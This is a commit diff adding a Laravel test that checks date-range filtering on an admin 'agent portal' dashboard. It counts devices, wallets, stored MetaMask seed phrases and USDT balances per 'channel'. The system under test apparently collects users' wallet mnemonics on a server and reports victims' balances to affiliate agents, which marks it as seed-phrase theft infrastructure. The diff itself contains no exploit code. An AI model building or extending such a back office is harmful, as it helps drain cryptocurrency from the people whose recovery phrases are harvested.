feat: new channel
This commit is contained in:
@@ -276,7 +276,73 @@ class AdminAgentPortalTest extends TestCase
|
||||
->assertJsonPath('data.by_device_ios_version.0.count', 2)
|
||||
->assertJsonPath('data.by_device_ios_version.1.label', '18.5')
|
||||
->assertJsonPath('data.by_device_ios_version.1.count', 1)
|
||||
->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to']]);
|
||||
->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to', 'date_from', 'date_to']]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function dashboard_date_range_filters_all_metrics(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
|
||||
$inRange = Device::query()->create([
|
||||
'device_id' => 'in-range',
|
||||
'channel_id' => 'ffffffffffffffffffffffffffffffff',
|
||||
'ios_version' => '15.8.4',
|
||||
'has_wallet' => Device::WALLET_YES,
|
||||
]);
|
||||
\Illuminate\Support\Facades\DB::table('devices')->where('id', $inRange->id)->update([
|
||||
'created_at' => '2026-08-10 12:00:00',
|
||||
'updated_at' => '2026-08-10 12:00:00',
|
||||
]);
|
||||
|
||||
$outOfRange = Device::query()->create([
|
||||
'device_id' => 'out-of-range',
|
||||
'channel_id' => 'ffffffffffffffffffffffffffffffff',
|
||||
'ios_version' => '18.5',
|
||||
'has_wallet' => Device::WALLET_YES,
|
||||
]);
|
||||
\Illuminate\Support\Facades\DB::table('devices')->where('id', $outOfRange->id)->update([
|
||||
'created_at' => '2026-07-01 12:00:00',
|
||||
'updated_at' => '2026-07-01 12:00:00',
|
||||
]);
|
||||
|
||||
$addr = WalletAddress::query()->create([
|
||||
'device_id' => $inRange->id,
|
||||
'address' => 'TInRangeAddr111111111111111111111',
|
||||
'chain_type' => 'TRON',
|
||||
'usdt' => '5',
|
||||
'trx' => '1',
|
||||
]);
|
||||
\Illuminate\Support\Facades\DB::table('wallet_addresses')->where('id', $addr->id)->update([
|
||||
'created_at' => '2026-08-10 12:00:00',
|
||||
'updated_at' => '2026-08-10 12:00:00',
|
||||
]);
|
||||
|
||||
$mn = WalletMnemonic::query()->create([
|
||||
'device_id' => $inRange->id,
|
||||
'source' => 'MetaMask',
|
||||
'mnemonic' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||
]);
|
||||
\Illuminate\Support\Facades\DB::table('wallet_mnemonics')->where('id', $mn->id)->update([
|
||||
'created_at' => '2026-08-10 12:00:00',
|
||||
'updated_at' => '2026-08-10 12:00:00',
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.dashboard.data', [
|
||||
'date_from' => '2026-08-01',
|
||||
'date_to' => '2026-08-15',
|
||||
]))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.total', 1)
|
||||
->assertJsonPath('data.new_count', 1)
|
||||
->assertJsonPath('data.wallet_count', 1)
|
||||
->assertJsonPath('data.mnemonic_count', 1)
|
||||
->assertJsonPath('data.address_count', 1)
|
||||
->assertJsonPath('data.balances.usdt', '5')
|
||||
->assertJsonPath('data.date_from', '2026-08-01')
|
||||
->assertJsonPath('data.date_to', '2026-08-15');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
Reference in New Issue
Block a user